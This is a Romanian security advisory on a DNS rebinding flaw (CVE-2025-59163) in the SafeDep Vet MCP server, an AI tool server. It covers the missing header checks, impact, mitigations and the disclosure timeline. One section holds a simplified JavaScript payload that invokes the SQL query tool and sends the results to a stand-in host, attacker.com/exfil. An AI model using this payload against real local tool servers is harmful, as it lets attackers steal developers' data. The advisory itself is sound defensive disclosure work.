Autor: Evan Harris
Risc: Scăzut (CVSS 2.1/10)
Componentă afectată: SafeDep Vet MCP Server
Identificator CVE: CVE-2025-59163
Versiuni afectate: < v1.12.5
Versiuni corectate: v1.12.5

Prezentare generală

Serverul SafeDep Vet MCP este vulnerabil la atacuri de tip DNS rebinding atunci când rulează cu transportul SSE. Vulnerabilitatea provine din lipsa validării antetelor HTTP Host și Origin, ceea ce permite site-urilor malițioase să ocolească protecțiile politicii Same-Origin și să execute invocări neautorizate de instrumente împotriva instanțelor Vet MCP.

Odată ce DNS rebinding reușește, un atacator poate stabili o sesiune cu endpoint-ul /sse, poate invoca instrumentele MCP activate și poate exfiltra conținutul bazei de date SQLite Vet a utilizatorului către un server controlat de atacator.

Echipa SafeDep a răspuns prompt la această divulgare, lansând în câteva zile o versiune corectată (v1.12.5) care implementează validarea antetelor Host și Origin cu o listă de permisiuni (allow list).

Detalii tehnice

Vulnerabilitatea

Când serverul Vet MCP rulează cu transportul SSE (--server-type sse), acesta expune un endpoint HTTP care acceptă conexiuni de la orice origine. Serverul nu validează:

  • Antetul HTTP Host - permite cereri care pretind că provin de la orice domeniu
  • Antetul HTTP Origin - permite cereri cross-origin de la site-uri malițioase

Această lipsă de validare face posibile atacurile de tip DNS rebinding, în care:

  1. Un atacator controlează un domeniu cu înregistrări DNS având un TTL foarte scăzut
  2. Victima vizitează site-ul atacatorului (de exemplu, attacker.com)
  3. JavaScript-ul atacatorului se rezolvă inițial la IP-ul atacatorului
  4. După ce browserul victimei păstrează conexiunea în cache, înregistrarea DNS este schimbată la 127.0.0.1
  5. Cererile ulterioare de la attacker.com țintesc acum localhost-ul victimei
  6. Politica Same-Origin a browserului este ocolită deoarece originea rămâne attacker.com

Configurație vulnerabilă

Atacul necesită următoarele condiții:

  • O scanare Vet este executată, iar rapoartele sunt scrise într-o bază de date
  • Serverul Vet MCP rulează cu transportul SSE activat
  • Atacatorul atrage victima către un site controlat de atacator

Vector de atac

Atacatorul folosește DNS rebinding pentru a:

  1. Stabili o conexiune la http://127.0.0.1:9988/sse
  2. Obține un identificator de sesiune MCP valid
  3. Inițializa o sesiune MCP
  4. Invoca instrumentul vet_query_execute_sql_query cu interogări SQL READ arbitrare
  5. Primi răspunsuri prin fluxul SSE
  6. Exfiltra date către un server controlat de atacator

Scenariul de atac

Configurarea victimei

Un cercetător de securitate sau un dezvoltator:

  1. Instalează Vet pentru scanarea vulnerabilităților dependențelor
  2. Rulează o scanare: vet scan -D /path/to/project
  3. Pornește serverul MCP cu transportul SSE:
    ./vet server mcp --server-type sse --sql-query-tool --sql-query-tool-db-path ./vet_scan.db
    
  4. Serverul se leagă la 127.0.0.1:9988 în mod implicit

Exploatarea de către atacator

Atacatorul pregătește infrastructura de DNS rebinding:

  1. Configurează un server DNS cu înregistrări wildcard pentru un domeniu (de exemplu, rebinder.attacker.com)
  2. Configurează serverul DNS să returneze inițial IP-ul atacatorului, apoi să se relege la 127.0.0.1
  3. Găzduiește un site malițios cu JavaScript care:
    • Detectează când DNS rebinding reușește
    • Se conectează la endpoint-ul SSE Vet la http://127.0.0.1:9988/sse
    • Stabilește o sesiune MCP
    • Invocă interogări SQL împotriva bazei de date a victimei
    • Exfiltrează rezultatele

Fluxul de exploatare

// Attacker's malicious payload (simplified)
const eventSource = new EventSource(`http://${window.location.hostname}:9988/sse`);

eventSource.onmessage = (event) => {
  if (event.data.includes('sessionId')) {
    const sessionId = extractSessionId(event.data);
    const endpoint = `http://${window.location.hostname}:9988/message?sessionId=${sessionId}`;

    // Initialize MCP session
    fetch(endpoint, {
      method: 'POST',
      body: JSON.stringify({ method: 'initialize' })
    });

    // Execute SQL query
    fetch(endpoint, {
      method: 'POST',
      body: JSON.stringify({
        jsonrpc: '2.0',
        method: 'tools/call',
        params: {
          name: 'vet_query_execute_sql_query',
          arguments: { sql: 'SELECT * FROM report_packages' }
        }
      })
    });
  } else {
    // Exfiltrate data received via SSE
    fetch('https://attacker.com/exfil', {
      method: 'POST',
      body: event.data
    });
  }
};

Victima trebuie doar să viziteze site-ul atacatorului (de exemplu, printr-un link dintr-un e-mail de phishing, o reclamă compromisă sau un GitHub issue malițios) în timp ce serverul său Vet MCP rulează.

Evaluarea impactului

Încălcarea confidențialității

Impact principal:

  • Acces READ complet la baza de date SQLite de scanare Vet prin instrumentul vet_query_execute_sql_query
  • Expunerea informațiilor despre vulnerabilitățile pachetelor, inclusiv:
    • Numele și versiunile pachetelor utilizate
    • CVE-uri cunoscute care afectează dependențele victimei
    • Scoruri de severitate și detalii ale vulnerabilităților
    • Informații despre lanțul de aprovizionare software

Amplificarea riscului:

  • Atacatorii obțin informații despre pachetele vulnerabile din mediul victimei
  • Dependențele și versiunile pachetelor dezvăluie detalii ale stivei tehnologice
  • Aceste informații pot fi folosite pentru a crea exploituri țintite

Cerințe pentru atac

Factori care limitează exploatabilitatea:

  • Este necesară interacțiunea activă a utilizatorului: victima trebuie să viziteze un site malițios
  • Fereastră temporală: serverul Vet MCP trebuie să ruleze activ cu transportul SSE
  • Cerință de configurare: victima trebuie să fi pornit explicit serverul cu --server-type sse (nu cu transportul stdio implicit)
  • Bazat pe browser: atacul necesită un browser modern cu suport pentru EventSource

Acești factori contribuie la evaluarea de severitate scăzută (CVSS 2.1/10), în ciuda potențialului de exfiltrare a datelor.

Măsuri de atenuare recomandate

Pentru utilizatori (imediat)

  1. Actualizați la v1.12.5 sau mai nou:
    # Download the latest release
    wget https://github.com/safedep/vet/releases/download/v1.12.5/vet_Linux_x86_64.tar.gz
    tar -xzf vet_Linux_x86_64.tar.gz
    ./vet --version  # Verify v1.12.5 or later
    
  2. Folosiți transportul stdio (implicit):
    # Avoid using --server-type sse unless necessary
    ./vet server mcp --sql-query-tool --sql-query-tool-db-path ./vet_scan.db
    
  3. Izolarea rețelei:
    • Rulați serverul MCP doar în rețele de încredere
    • Folosiți reguli de firewall pentru a restricționa accesul la portul 9988
    • Evitați navigarea pe site-uri neîncredere în timp ce serverul rulează

Pentru dezvoltatori

Implementat în v1.12.5:

  • Validarea antetului Host cu o listă de permisiuni (allow list)
  • Validarea antetului Origin pentru a preveni cererile cross-origin
  • Respingerea cererilor cu antete de securitate invalide sau lipsă

Bune practici pentru implementările de servere MCP:

  • Validați întotdeauna antetele Host și Origin pentru transporturile bazate pe HTTP
  • Legați în mod implicit doar la localhost (127.0.0.1), nu la 0.0.0.0
  • Preferați transportul stdio în locul transporturilor bazate pe rețea când este posibil
  • Documentați implicațiile de securitate ale diferitelor moduri de transport
  • Implementați politici CORS stricte

Cronologia divulgării

  • 2025-08-30: Raportul inițial al vulnerabilității trimis către SafeDep
  • 2025-09-01: SafeDep confirmă primirea raportului
  • 2025-09-02: SafeDep deschide un pull request cu un patch care implementează validarea antetelor
  • 2025-09-05: Versiunea corectată v1.12.5 este lansată
  • 2025-09-29: GitHub Security Advisory publicat, data divulgării coordonate confirmată de ambele părți
  • 2025-10-06: Buletinul tehnic de securitate publicat

Concluzie

Vulnerabilitatea de DNS rebinding din serverul Vet MCP demonstrează un aspect important de securitate pentru implementările MCP: transporturile bazate pe rețea necesită validarea atentă a antetelor de securitate HTTP pentru a preveni atacurile cross-origin.

Deși atacul necesită condiții specifice (server MCP activ cu transport SSE, victima vizitând un site malițios, fereastră temporală), potențialul de exfiltrare a datelor a justificat divulgarea responsabilă și corectarea.

Reacția SafeDep exemplifică practicile responsabile de securitate:

  • Confirmarea imediată a primirii raportului
  • Dezvoltarea și lansarea rapidă a unui patch (5 zile de la raport până la lansare)
  • Divulgare coordonată prin GitHub Security Advisory
  • Comunicare clară pe tot parcursul procesului

Toți utilizatorii care rulează serverul Vet MCP cu transportul SSE ar trebui să se actualizeze imediat la v1.12.5. Pentru majoritatea cazurilor de utilizare, transportul stdio implicit oferă o alternativă mai sigură.

Referințe